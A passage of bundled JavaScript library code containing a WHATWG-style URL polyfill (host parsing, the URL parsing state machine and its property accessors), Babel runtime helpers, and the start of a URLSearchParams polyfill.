if (part === '') {
number = 0;
} else {
if (!(radix == 10 ? DEC : radix == 8 ? OCT : HEX).test(part)) return input;
number = parseInt(part, radix);
}
numbers.push(number);
}
for (index = 0; index < partsLength; index++) {
number = numbers[index];
if (index == partsLength - 1) {
if (number >= pow(256, 5 - partsLength)) return null;
} else if (number > 255) return null;
}
ipv4 = numbers.pop();
for (index = 0; index < numbers.length; index++) {
ipv4 += numbers[index] * pow(256, 3 - index);
}
return ipv4;
};
// eslint-disable-next-line max-statements
var parseIPv6 = function (input) {
var address = [0, 0, 0, 0, 0, 0, 0, 0];
var pieceIndex = 0;
var compress = null;
var pointer = 0;
var value, length, numbersSeen, ipv4Piece, number, swaps, swap;
var char = function () {
return input.charAt(pointer);
};
if (char() == ':') {
if (input.charAt(1) != ':') return;
pointer += 2;
pieceIndex++;
compress = pieceIndex;
}
while (char()) {
if (pieceIndex == 8) return;
if (char() == ':') {
if (compress !== null) return;
pointer++;
pieceIndex++;
compress = pieceIndex;
continue;
}
value = length = 0;
while (length < 4 && HEX.test(char())) {
value = value * 16 + parseInt(char(), 16);
pointer++;
length++;
}
if (char() == '.') {
if (length == 0) return;
pointer -= length;
if (pieceIndex > 6) return;
numbersSeen = 0;
while (char()) {
ipv4Piece = null;
if (numbersSeen > 0) {
if (char() == '.' && numbersSeen < 4) pointer++;
else return;
}
if (!DIGIT.test(char())) return;
while (DIGIT.test(char())) {
number = parseInt(char(), 10);
if (ipv4Piece === null) ipv4Piece = number;
else if (ipv4Piece == 0) return;
else ipv4Piece = ipv4Piece * 10 + number;
if (ipv4Piece > 255) return;
pointer++;
}
address[pieceIndex] = address[pieceIndex] * 256 + ipv4Piece;
numbersSeen++;
if (numbersSeen == 2 || numbersSeen == 4) pieceIndex++;
}
if (numbersSeen != 4) return;
break;
} else if (char() == ':') {
pointer++;
if (!char()) return;
} else if (char()) return;
address[pieceIndex++] = value;
}
if (compress !== null) {
swaps = pieceIndex - compress;
pieceIndex = 7;
while (pieceIndex != 0 && swaps > 0) {
swap = address[pieceIndex];
address[pieceIndex--] = address[compress + swaps - 1];
address[compress + --swaps] = swap;
}
} else if (pieceIndex != 8) return;
return address;
};
var findLongestZeroSequence = function (ipv6) {
var maxIndex = null;
var maxLength = 1;
var currStart = null;
var currLength = 0;
var index = 0;
for (; index < 8; index++) {
if (ipv6[index] !== 0) {
if (currLength > maxLength) {
maxIndex = currStart;
maxLength = currLength;
}
currStart = null;
currLength = 0;
} else {
if (currStart === null) currStart = index;
++currLength;
}
}
if (currLength > maxLength) {
maxIndex = currStart;
maxLength = currLength;
}
return maxIndex;
};
var serializeHost = function (host) {
var result, index, compress, ignore0;
// ipv4
if (typeof host == 'number') {
result = [];
for (index = 0; index < 4; index++) {
result.unshift(host % 256);
host = floor$3(host / 256);
} return result.join('.');
// ipv6
} else if (typeof host == 'object') {
result = '';
compress = findLongestZeroSequence(host);
for (index = 0; index < 8; index++) {
if (ignore0 && host[index] === 0) continue;
if (ignore0) ignore0 = false;
if (compress === index) {
result += index ? ':' : '::';
ignore0 = true;
} else {
result += host[index].toString(16);
if (index < 7) result += ':';
}
}
return '[' + result + ']';
} return host;
};
var C0ControlPercentEncodeSet = {};
var fragmentPercentEncodeSet = objectAssign({}, C0ControlPercentEncodeSet, {
' ': 1, '"': 1, '<': 1, '>': 1, '`': 1
});
var pathPercentEncodeSet = objectAssign({}, fragmentPercentEncodeSet, {
'#': 1, '?': 1, '{': 1, '}': 1
});
var userinfoPercentEncodeSet = objectAssign({}, pathPercentEncodeSet, {
'/': 1, ':': 1, ';': 1, '=': 1, '@': 1, '[': 1, '\\': 1, ']': 1, '^': 1, '|': 1
});
var percentEncode = function (char, set) {
var code = codeAt(char, 0);
return code > 0x20 && code < 0x7F && !has(set, char) ? char : encodeURIComponent(char);
};
var specialSchemes = {
ftp: 21,
file: null,
http: 80,
https: 443,
ws: 80,
wss: 443
};
var isSpecial = function (url) {
return has(specialSchemes, url.scheme);
};
var includesCredentials = function (url) {
return url.username != '' || url.password != '';
};
var cannotHaveUsernamePasswordPort = function (url) {
return !url.host || url.cannotBeABaseURL || url.scheme == 'file';
};
var isWindowsDriveLetter = function (string, normalized) {
var second;
return string.length == 2 && ALPHA.test(string.charAt(0))
&& ((second = string.charAt(1)) == ':' || (!normalized && second == '|'));
};
var startsWithWindowsDriveLetter = function (string) {
var third;
return string.length > 1 && isWindowsDriveLetter(string.slice(0, 2)) && (
string.length == 2 ||
((third = string.charAt(2)) === '/' || third === '\\' || third === '?' || third === '#')
);
};
var shortenURLsPath = function (url) {
var path = url.path;
var pathSize = path.length;
if (pathSize && (url.scheme != 'file' || pathSize != 1 || !isWindowsDriveLetter(path[0], true))) {
path.pop();
}
};
var isSingleDot = function (segment) {
return segment === '.' || segment.toLowerCase() === '%2e';
};
var isDoubleDot = function (segment) {
segment = segment.toLowerCase();
return segment === '..' || segment === '%2e.' || segment === '.%2e' || segment === '%2e%2e';
};
// States:
var SCHEME_START = {};
var SCHEME = {};
var NO_SCHEME = {};
var SPECIAL_RELATIVE_OR_AUTHORITY = {};
var PATH_OR_AUTHORITY = {};
var RELATIVE = {};
var RELATIVE_SLASH = {};
var SPECIAL_AUTHORITY_SLASHES = {};
var SPECIAL_AUTHORITY_IGNORE_SLASHES = {};
var AUTHORITY = {};
var HOST = {};
var HOSTNAME = {};
var PORT = {};
var FILE = {};
var FILE_SLASH = {};
var FILE_HOST = {};
var PATH_START = {};
var PATH = {};
var CANNOT_BE_A_BASE_URL_PATH = {};
var QUERY = {};
var FRAGMENT = {};
// eslint-disable-next-line max-statements
var parseURL = function (url, input, stateOverride, base) {
var state = stateOverride || SCHEME_START;
var pointer = 0;
var buffer = '';
var seenAt = false;
var seenBracket = false;
var seenPasswordToken = false;
var codePoints, char, bufferCodePoints, failure;
if (!stateOverride) {
url.scheme = '';
url.username = '';
url.password = '';
url.host = null;
url.port = null;
url.path = [];
url.query = null;
url.fragment = null;
url.cannotBeABaseURL = false;
input = input.replace(LEADING_AND_TRAILING_C0_CONTROL_OR_SPACE, '');
}
input = input.replace(TAB_AND_NEW_LINE, '');
codePoints = arrayFrom(input);
while (pointer <= codePoints.length) {
char = codePoints[pointer];
switch (state) {
case SCHEME_START:
if (char && ALPHA.test(char)) {
buffer += char.toLowerCase();
state = SCHEME;
} else if (!stateOverride) {
state = NO_SCHEME;
continue;
} else return INVALID_SCHEME;
break;
case SCHEME:
if (char && (ALPHANUMERIC.test(char) || char == '+' || char == '-' || char == '.')) {
buffer += char.toLowerCase();
} else if (char == ':') {
if (stateOverride && (
(isSpecial(url) != has(specialSchemes, buffer)) ||
(buffer == 'file' && (includesCredentials(url) || url.port !== null)) ||
(url.scheme == 'file' && !url.host)
)) return;
url.scheme = buffer;
if (stateOverride) {
if (isSpecial(url) && specialSchemes[url.scheme] == url.port) url.port = null;
return;
}
buffer = '';
if (url.scheme == 'file') {
state = FILE;
} else if (isSpecial(url) && base && base.scheme == url.scheme) {
state = SPECIAL_RELATIVE_OR_AUTHORITY;
} else if (isSpecial(url)) {
state = SPECIAL_AUTHORITY_SLASHES;
} else if (codePoints[pointer + 1] == '/') {
state = PATH_OR_AUTHORITY;
pointer++;
} else {
url.cannotBeABaseURL = true;
url.path.push('');
state = CANNOT_BE_A_BASE_URL_PATH;
}
} else if (!stateOverride) {
buffer = '';
state = NO_SCHEME;
pointer = 0;
continue;
} else return INVALID_SCHEME;
break;
case NO_SCHEME:
if (!base || (base.cannotBeABaseURL && char != '#')) return INVALID_SCHEME;
if (base.cannotBeABaseURL && char == '#') {
url.scheme = base.scheme;
url.path = base.path.slice();
url.query = base.query;
url.fragment = '';
url.cannotBeABaseURL = true;
state = FRAGMENT;
break;
}
state = base.scheme == 'file' ? FILE : RELATIVE;
continue;
case SPECIAL_RELATIVE_OR_AUTHORITY:
if (char == '/' && codePoints[pointer + 1] == '/') {
state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
pointer++;
} else {
state = RELATIVE;
continue;
} break;
case PATH_OR_AUTHORITY:
if (char == '/') {
state = AUTHORITY;
break;
} else {
state = PATH;
continue;
}
case RELATIVE:
url.scheme = base.scheme;
if (char == EOF) {
url.username = base.username;
url.password = base.password;
url.host = base.host;
url.port = base.port;
url.path = base.path.slice();
url.query = base.query;
} else if (char == '/' || (char == '\\' && isSpecial(url))) {
state = RELATIVE_SLASH;
} else if (char == '?') {
url.username = base.username;
url.password = base.password;
url.host = base.host;
url.port = base.port;
url.path = base.path.slice();
url.query = '';
state = QUERY;
} else if (char == '#') {
url.username = base.username;
url.password = base.password;
url.host = base.host;
url.port = base.port;
url.path = base.path.slice();
url.query = base.query;
url.fragment = '';
state = FRAGMENT;
} else {
url.username = base.username;
url.password = base.password;
url.host = base.host;
url.port = base.port;
url.path = base.path.slice();
url.path.pop();
state = PATH;
continue;
} break;
case RELATIVE_SLASH:
if (isSpecial(url) && (char == '/' || char == '\\')) {
state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
} else if (char == '/') {
state = AUTHORITY;
} else {
url.username = base.username;
url.password = base.password;
url.host = base.host;
url.port = base.port;
state = PATH;
continue;
} break;
case SPECIAL_AUTHORITY_SLASHES:
state = SPECIAL_AUTHORITY_IGNORE_SLASHES;
if (char != '/' || buffer.charAt(pointer + 1) != '/') continue;
pointer++;
break;
case SPECIAL_AUTHORITY_IGNORE_SLASHES:
if (char != '/' && char != '\\') {
state = AUTHORITY;
continue;
} break;
case AUTHORITY:
if (char == '@') {
if (seenAt) buffer = '%40' + buffer;
seenAt = true;
bufferCodePoints = arrayFrom(buffer);
for (var i = 0; i < bufferCodePoints.length; i++) {
var codePoint = bufferCodePoints[i];
if (codePoint == ':' && !seenPasswordToken) {
seenPasswordToken = true;
continue;
}
var encodedCodePoints = percentEncode(codePoint, userinfoPercentEncodeSet);
if (seenPasswordToken) url.password += encodedCodePoints;
else url.username += encodedCodePoints;
}
buffer = '';
} else if (
char == EOF || char == '/' || char == '?' || char == '#' ||
(char == '\\' && isSpecial(url))
) {
if (seenAt && buffer == '') return INVALID_AUTHORITY;
pointer -= arrayFrom(buffer).length + 1;
buffer = '';
state = HOST;
} else buffer += char;
break;
case HOST:
case HOSTNAME:
if (stateOverride && url.scheme == 'file') {
state = FILE_HOST;
continue;
} else if (char == ':' && !seenBracket) {
if (buffer == '') return INVALID_HOST;
failure = parseHost(url, buffer);
if (failure) return failure;
buffer = '';
state = PORT;
if (stateOverride == HOSTNAME) return;
} else if (
char == EOF || char == '/' || char == '?' || char == '#' ||
(char == '\\' && isSpecial(url))
) {
if (isSpecial(url) && buffer == '') return INVALID_HOST;
if (stateOverride && buffer == '' && (includesCredentials(url) || url.port !== null)) return;
failure = parseHost(url, buffer);
if (failure) return failure;
buffer = '';
state = PATH_START;
if (stateOverride) return;
continue;
} else {
if (char == '[') seenBracket = true;
else if (char == ']') seenBracket = false;
buffer += char;
} break;
case PORT:
if (DIGIT.test(char)) {
buffer += char;
} else if (
char == EOF || char == '/' || char == '?' || char == '#' ||
(char == '\\' && isSpecial(url)) ||
stateOverride
) {
if (buffer != '') {
var port = parseInt(buffer, 10);
if (port > 0xFFFF) return INVALID_PORT;
url.port = (isSpecial(url) && port === specialSchemes[url.scheme]) ? null : port;
buffer = '';
}
if (stateOverride) return;
state = PATH_START;
continue;
} else return INVALID_PORT;
break;
case FILE:
url.scheme = 'file';
if (char == '/' || char == '\\') state = FILE_SLASH;
else if (base && base.scheme == 'file') {
if (char == EOF) {
url.host = base.host;
url.path = base.path.slice();
url.query = base.query;
} else if (char == '?') {
url.host = base.host;
url.path = base.path.slice();
url.query = '';
state = QUERY;
} else if (char == '#') {
url.host = base.host;
url.path = base.path.slice();
url.query = base.query;
url.fragment = '';
state = FRAGMENT;
} else {
if (!startsWithWindowsDriveLetter(codePoints.slice(pointer).join(''))) {
url.host = base.host;
url.path = base.path.slice();
shortenURLsPath(url);
}
state = PATH;
continue;
}
} else {
state = PATH;
continue;
} break;
case FILE_SLASH:
if (char == '/' || char == '\\') {
state = FILE_HOST;
break;
}
if (base && base.scheme == 'file' && !startsWithWindowsDriveLetter(codePoints.slice(pointer).join(''))) {
if (isWindowsDriveLetter(base.path[0], true)) url.path.push(base.path[0]);
else url.host = base.host;
}
state = PATH;
continue;
case FILE_HOST:
if (char == EOF || char == '/' || char == '\\' || char == '?' || char == '#') {
if (!stateOverride && isWindowsDriveLetter(buffer)) {
state = PATH;
} else if (buffer == '') {
url.host = '';
if (stateOverride) return;
state = PATH_START;
} else {
failure = parseHost(url, buffer);
if (failure) return failure;
if (url.host == 'localhost') url.host = '';
if (stateOverride) return;
buffer = '';
state = PATH_START;
} continue;
} else buffer += char;
break;
case PATH_START:
if (isSpecial(url)) {
state = PATH;
if (char != '/' && char != '\\') continue;
} else if (!stateOverride && char == '?') {
url.query = '';
state = QUERY;
} else if (!stateOverride && char == '#') {
url.fragment = '';
state = FRAGMENT;
} else if (char != EOF) {
state = PATH;
if (char != '/') continue;
} break;
case PATH:
if (
char == EOF || char == '/' ||
(char == '\\' && isSpecial(url)) ||
(!stateOverride && (char == '?' || char == '#'))
) {
if (isDoubleDot(buffer)) {
shortenURLsPath(url);
if (char != '/' && !(char == '\\' && isSpecial(url))) {
url.path.push('');
}
} else if (isSingleDot(buffer)) {
if (char != '/' && !(char == '\\' && isSpecial(url))) {
url.path.push('');
}
} else {
if (url.scheme == 'file' && !url.path.length && isWindowsDriveLetter(buffer)) {
if (url.host) url.host = '';
buffer = buffer.charAt(0) + ':'; // normalize windows drive letter
}
url.path.push(buffer);
}
buffer = '';
if (url.scheme == 'file' && (char == EOF || char == '?' || char == '#')) {
while (url.path.length > 1 && url.path[0] === '') {
url.path.shift();
}
}
if (char == '?') {
url.query = '';
state = QUERY;
} else if (char == '#') {
url.fragment = '';
state = FRAGMENT;
}
} else {
buffer += percentEncode(char, pathPercentEncodeSet);
} break;
case CANNOT_BE_A_BASE_URL_PATH:
if (char == '?') {
url.query = '';
state = QUERY;
} else if (char == '#') {
url.fragment = '';
state = FRAGMENT;
} else if (char != EOF) {
url.path[0] += percentEncode(char, C0ControlPercentEncodeSet);
} break;
case QUERY:
if (!stateOverride && char == '#') {
url.fragment = '';
state = FRAGMENT;
} else if (char != EOF) {
if (char == "'" && isSpecial(url)) url.query += '%27';
else if (char == '#') url.query += '%23';
else url.query += percentEncode(char, C0ControlPercentEncodeSet);
} break;
case FRAGMENT:
if (char != EOF) url.fragment += percentEncode(char, fragmentPercentEncodeSet);
break;
}
pointer++;
}
};
// `URL` constructor
// https://url.spec.whatwg.org/#url-class
var URLConstructor = function URL(url /* , base */) {
var that = anInstance(this, URLConstructor, 'URL');
var base = arguments.length > 1 ? arguments[1] : undefined;
var urlString = String(url);
var state = setInternalState$4(that, { type: 'URL' });
var baseState, failure;
if (base !== undefined) {
if (base instanceof URLConstructor) baseState = getInternalURLState(base);
else {
failure = parseURL(baseState = {}, String(base));
if (failure) throw TypeError(failure);
}
}
failure = parseURL(state, urlString, null, baseState);
if (failure) throw TypeError(failure);
var searchParams = state.searchParams = new URLSearchParams$1();
var searchParamsState = getInternalSearchParamsState(searchParams);
searchParamsState.updateSearchParams(state.query);
searchParamsState.updateURL = function () {
state.query = String(searchParams) || null;
};
if (!descriptors) {
that.href = serializeURL.call(that);
that.origin = getOrigin.call(that);
that.protocol = getProtocol.call(that);
that.username = getUsername.call(that);
that.password = getPassword.call(that);
that.host = getHost.call(that);
that.hostname = getHostname.call(that);
that.port = getPort.call(that);
that.pathname = getPathname.call(that);
that.search = getSearch.call(that);
that.searchParams = getSearchParams.call(that);
that.hash = getHash.call(that);
}
};
var URLPrototype = URLConstructor.prototype;
var serializeURL = function () {
var url = getInternalURLState(this);
var scheme = url.scheme;
var username = url.username;
var password = url.password;
var host = url.host;
var port = url.port;
var path = url.path;
var query = url.query;
var fragment = url.fragment;
var output = scheme + ':';
if (host !== null) {
output += '//';
if (includesCredentials(url)) {
output += username + (password ? ':' + password : '') + '@';
}
output += serializeHost(host);
if (port !== null) output += ':' + port;
} else if (scheme == 'file') output += '//';
output += url.cannotBeABaseURL ? path[0] : path.length ? '/' + path.join('/') : '';
if (query !== null) output += '?' + query;
if (fragment !== null) output += '#' + fragment;
return output;
};
var getOrigin = function () {
var url = getInternalURLState(this);
var scheme = url.scheme;
var port = url.port;
if (scheme == 'blob') try {
return new URL(scheme.path[0]).origin;
} catch (error) {
return 'null';
}
if (scheme == 'file' || !isSpecial(url)) return 'null';
return scheme + '://' + serializeHost(url.host) + (port !== null ? ':' + port : '');
};
var getProtocol = function () {
return getInternalURLState(this).scheme + ':';
};
var getUsername = function () {
return getInternalURLState(this).username;
};
var getPassword = function () {
return getInternalURLState(this).password;
};
var getHost = function () {
var url = getInternalURLState(this);
var host = url.host;
var port = url.port;
return host === null ? ''
: port === null ? serializeHost(host)
: serializeHost(host) + ':' + port;
};
var getHostname = function () {
var host = getInternalURLState(this).host;
return host === null ? '' : serializeHost(host);
};
var getPort = function () {
var port = getInternalURLState(this).port;
return port === null ? '' : String(port);
};
var getPathname = function () {
var url = getInternalURLState(this);
var path = url.path;
return url.cannotBeABaseURL ? path[0] : path.length ? '/' + path.join('/') : '';
};
var getSearch = function () {
var query = getInternalURLState(this).query;
return query ? '?' + query : '';
};
var getSearchParams = function () {
return getInternalURLState(this).searchParams;
};
var getHash = function () {
var fragment = getInternalURLState(this).fragment;
return fragment ? '#' + fragment : '';
};
var accessorDescriptor = function (getter, setter) {
return { get: getter, set: setter, configurable: true, enumerable: true };
};
if (descriptors) {
objectDefineProperties(URLPrototype, {
// `URL.prototype.href` accessors pair
// https://url.spec.whatwg.org/#dom-url-href
href: accessorDescriptor(serializeURL, function (href) {
var url = getInternalURLState(this);
var urlString = String(href);
var failure = parseURL(url, urlString);
if (failure) throw TypeError(failure);
getInternalSearchParamsState(url.searchParams).updateSearchParams(url.query);
}),
// `URL.prototype.origin` getter
// https://url.spec.whatwg.org/#dom-url-origin
origin: accessorDescriptor(getOrigin),
// `URL.prototype.protocol` accessors pair
// https://url.spec.whatwg.org/#dom-url-protocol
protocol: accessorDescriptor(getProtocol, function (protocol) {
var url = getInternalURLState(this);
parseURL(url, String(protocol) + ':', SCHEME_START);
}),
// `URL.prototype.username` accessors pair
// https://url.spec.whatwg.org/#dom-url-username
username: accessorDescriptor(getUsername, function (username) {
var url = getInternalURLState(this);
var codePoints = arrayFrom(String(username));
if (cannotHaveUsernamePasswordPort(url)) return;
url.username = '';
for (var i = 0; i < codePoints.length; i++) {
url.username += percentEncode(codePoints[i], userinfoPercentEncodeSet);
}
}),
// `URL.prototype.password` accessors pair
// https://url.spec.whatwg.org/#dom-url-password
password: accessorDescriptor(getPassword, function (password) {
var url = getInternalURLState(this);
var codePoints = arrayFrom(String(password));
if (cannotHaveUsernamePasswordPort(url)) return;
url.password = '';
for (var i = 0; i < codePoints.length; i++) {
url.password += percentEncode(codePoints[i], userinfoPercentEncodeSet);
}
}),
// `URL.prototype.host` accessors pair
// https://url.spec.whatwg.org/#dom-url-host
host: accessorDescriptor(getHost, function (host) {
var url = getInternalURLState(this);
if (url.cannotBeABaseURL) return;
parseURL(url, String(host), HOST);
}),
// `URL.prototype.hostname` accessors pair
// https://url.spec.whatwg.org/#dom-url-hostname
hostname: accessorDescriptor(getHostname, function (hostname) {
var url = getInternalURLState(this);
if (url.cannotBeABaseURL) return;
parseURL(url, String(hostname), HOSTNAME);
}),
// `URL.prototype.port` accessors pair
// https://url.spec.whatwg.org/#dom-url-port
port: accessorDescriptor(getPort, function (port) {
var url = getInternalURLState(this);
if (cannotHaveUsernamePasswordPort(url)) return;
port = String(port);
if (port == '') url.port = null;
else parseURL(url, port, PORT);
}),
// `URL.prototype.pathname` accessors pair
// https://url.spec.whatwg.org/#dom-url-pathname
pathname: accessorDescriptor(getPathname, function (pathname) {
var url = getInternalURLState(this);
if (url.cannotBeABaseURL) return;
url.path = [];
parseURL(url, pathname + '', PATH_START);
}),
// `URL.prototype.search` accessors pair
// https://url.spec.whatwg.org/#dom-url-search
search: accessorDescriptor(getSearch, function (search) {
var url = getInternalURLState(this);
search = String(search);
if (search == '') {
url.query = null;
} else {
if ('?' == search.charAt(0)) search = search.slice(1);
url.query = '';
parseURL(url, search, QUERY);
}
getInternalSearchParamsState(url.searchParams).updateSearchParams(url.query);
}),
// `URL.prototype.searchParams` getter
// https://url.spec.whatwg.org/#dom-url-searchparams
searchParams: accessorDescriptor(getSearchParams),
// `URL.prototype.hash` accessors pair
// https://url.spec.whatwg.org/#dom-url-hash
hash: accessorDescriptor(getHash, function (hash) {
var url = getInternalURLState(this);
hash = String(hash);
if (hash == '') {
url.fragment = null;
return;
}
if ('#' == hash.charAt(0)) hash = hash.slice(1);
url.fragment = '';
parseURL(url, hash, FRAGMENT);
})
});
}
// `URL.prototype.toJSON` method
// https://url.spec.whatwg.org/#dom-url-tojson
redefine(URLPrototype, 'toJSON', function toJSON() {
return serializeURL.call(this);
}, { enumerable: true });
// `URL.prototype.toString` method
// https://url.spec.whatwg.org/#URL-stringification-behavior
redefine(URLPrototype, 'toString', function toString() {
return serializeURL.call(this);
}, { enumerable: true });
if (NativeURL) {
var nativeCreateObjectURL = NativeURL.createObjectURL;
var nativeRevokeObjectURL = NativeURL.revokeObjectURL;
// `URL.createObjectURL` method
// https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL
// eslint-disable-next-line no-unused-vars
if (nativeCreateObjectURL) redefine(URLConstructor, 'createObjectURL', function createObjectURL(blob) {
return nativeCreateObjectURL.apply(NativeURL, arguments);
});
// `URL.revokeObjectURL` method
// https://developer.mozilla.org/en-US/docs/Web/API/URL/revokeObjectURL
// eslint-disable-next-line no-unused-vars
if (nativeRevokeObjectURL) redefine(URLConstructor, 'revokeObjectURL', function revokeObjectURL(url) {
return nativeRevokeObjectURL.apply(NativeURL, arguments);
});
}
setToStringTag(URLConstructor, 'URL');
_export({ global: true, forced: !nativeUrl, sham: !descriptors }, {
URL: URLConstructor
});
function _typeof(obj) {
"@babel/helpers - typeof";
if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
_typeof = function (obj) {
return typeof obj;
};
} else {
_typeof = function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
};
}
return _typeof(obj);
}
function _classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError("Cannot call a class as a function");
}
}
function _defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
function _createClass(Constructor, protoProps, staticProps) {
if (protoProps) _defineProperties(Constructor.prototype, protoProps);
if (staticProps) _defineProperties(Constructor, staticProps);
return Constructor;
}
function _defineProperty(obj, key, value) {
if (key in obj) {
Object.defineProperty(obj, key, {
value: value,
enumerable: true,
configurable: true,
writable: true
});
} else {
obj[key] = value;
}
return obj;
}
function ownKeys$1(object, enumerableOnly) {
var keys = Object.keys(object);
if (Object.getOwnPropertySymbols) {
var symbols = Object.getOwnPropertySymbols(object);
if (enumerableOnly) symbols = symbols.filter(function (sym) {
return Object.getOwnPropertyDescriptor(object, sym).enumerable;
});
keys.push.apply(keys, symbols);
}
return keys;
}
function _objectSpread2(target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i] != null ? arguments[i] : {};
if (i % 2) {
ownKeys$1(Object(source), true).forEach(function (key) {
_defineProperty(target, key, source[key]);
});
} else if (Object.getOwnPropertyDescriptors) {
Object.defineProperties(target, Object.getOwnPropertyDescriptors(source));
} else {
ownKeys$1(Object(source)).forEach(function (key) {
Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
});
}
}
return target;
}
function _objectWithoutPropertiesLoose(source, excluded) {
if (source == null) return {};
var target = {};
var sourceKeys = Object.keys(source);
var key, i;
for (i = 0; i < sourceKeys.length; i++) {
key = sourceKeys[i];
if (excluded.indexOf(key) >= 0) continue;
target[key] = source[key];
}
return target;
}
function _objectWithoutProperties(source, excluded) {
if (source == null) return {};
var target = _objectWithoutPropertiesLoose(source, excluded);
var key, i;
if (Object.getOwnPropertySymbols) {
var sourceSymbolKeys = Object.getOwnPropertySymbols(source);
for (i = 0; i < sourceSymbolKeys.length; i++) {
key = sourceSymbolKeys[i];
if (excluded.indexOf(key) >= 0) continue;
if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
target[key] = source[key];
}
}
return target;
}
function _slicedToArray(arr, i) {
return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest();
}
function _toConsumableArray(arr) {
return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
}
function _arrayWithoutHoles(arr) {
if (Array.isArray(arr)) return _arrayLikeToArray(arr);
}
function _arrayWithHoles(arr) {
if (Array.isArray(arr)) return arr;
}
function _iterableToArray(iter) {
if (typeof Symbol !== "undefined" && Symbol.iterator in Object(iter)) return Array.from(iter);
}
function _iterableToArrayLimit(arr, i) {
if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return;
var _arr = [];
var _n = true;
var _d = false;
var _e = undefined;
try {
for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
_arr.push(_s.value);
if (i && _arr.length === i) break;
}
} catch (err) {
_d = true;
_e = err;
} finally {
try {
if (!_n && _i["return"] != null) _i["return"]();
} finally {
if (_d) throw _e;
}
}
return _arr;
}
function _unsupportedIterableToArray(o, minLen) {
if (!o) return;
if (typeof o === "string") return _arrayLikeToArray(o, minLen);
var n = Object.prototype.toString.call(o).slice(8, -1);
if (n === "Object" && o.constructor) n = o.constructor.name;
if (n === "Map" || n === "Set") return Array.from(o);
if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
}
function _arrayLikeToArray(arr, len) {
if (len == null || len > arr.length) len = arr.length;
for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];
return arr2;
}
function _nonIterableSpread() {
throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
}
function _nonIterableRest() {
throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
}
(function (global) {
/**
* Polyfill URLSearchParams
*
* Inspired from : https://github.com/WebReflection/url-search-params/blob/master/src/url-search-params.js
*/
var checkIfIteratorIsSupported = function checkIfIteratorIsSupported() {
try {
return !!Symbol.iterator;
} catch (error) {
return false;
}
};
var iteratorSupported = checkIfIteratorIsSupported();
var createIterator = function createIterator(items) {
var iterator = {
next: function next() {
var value = items.shift();
return {
done: value === void 0,
value: value
};
}
};
if (iteratorSupported) {
iterator[Symbol.iterator] = function () {
return iterator;
};
}
return iterator;
};
/**
* Search param name and values should be encoded according to https://url.spec.whatwg.org/#urlencoded-serializing
* encodeURIComponent() produces the same result except encoding spaces as `%20` instead of `+`.
*/
var serializeParam = function serializeParam(value) {
return encodeURIComponent(value).replace(/%20/g, '+');
};
var deserializeParam = function deserializeParam(value) {
return decodeURIComponent(String(value).replace(/\+/g, ' '));
};
var polyfillURLSearchParams = function polyfillURLSearchParams() {
var URLSearchParams = function URLSearchParams(searchString) {
Object.defineProperty(this, '_entries', {
writable: true,
value: {}
});
var typeofSearchString = _typeof(searchString);
if (typeofSearchString === 'undefined') ; else if (typeofSearchString === 'string') {
if (searchString !== '') {
this._fromString(searchString);
}
} else if (searchString instanceof URLSearchParams) {
var _this = this;
searchString.forEach(function (value, name) {
_this.append(name, value);
});
} else if (searchString !== null && typeofSearchString === 'object') {
if (Object.prototype.toString.call(searchString) === '[object Array]') {
for (var i = 0; i < searchString.length; i++) {
var entry = searchString[i];
if (Object.prototype.toString.call(entry) === '[object Array]' || entry.length !== 2) {
this.append(entry[0], entry[1]);
} else {
throw new TypeError('Expected [string, any] as entry at index ' + i + ' of URLSearchParams\'s input');
}
}
} else {
for (var key in searchString) {
if (searchString.hasOwnProperty(key)) {
this.append(key, searchString[key]);
}
}
}
} else {
throw new TypeError('Unsupported input\'s type for URLSearchParams');
}
};
var proto = URLSearchParams.prototype;
proto.append = function (name, value) {
if (name in this._entries) {
this._entries[name].push(String(value));
} else {
this._entries[name] = [String(value)];
}
};
proto.delete = function (name) {
delete this._entries[name];
};
proto.get = function (name) {
return name in this._entries ? this._entries[name][0] : null;
};
proto.getAll = function (name) {
return name in this._entries ? this._entries[name].slice(0) : [];
};
proto.has = function (name) {
return name in this._entries;
};
proto.set = function (name, value) {
this._entries[name] = [String(value)];
};
proto.forEach = function (callback, thisArg) {
var entries;
for (var name in this._entries) {
if (this._entries.hasOwnProperty(name)) {
entries = this._entries[name];
for (var i = 0; i < entries.length; i++) {
callback.call(thisArg, entries[i], name, this);
}
}
}
};
proto.keys = function () {
var items = [];
this.forEach(function (value, name) {
items.push(name);
});
return createIterator(items);
};
proto.values = function () {
var items = [];
this.forEach(function (value) {
items.push(value);
});
return createIterator(items);
};
proto.entries = function () {
var items = [];
this.forEach(function (value, name) {
items.push([name, value]);
});
return createIterator(items);
};
if (iteratorSupported) {
proto[Symbol.iterator] = proto.entries;
}
proto.toString = function () {
var searchArray = [];
this.forEach(function (value, name) {
searchArray.push(serializeParam(name) + '=' + serializeParam(value));
});
return searchArray.join('&');
};
global.URLSearchParams = URLSearchParams;
};
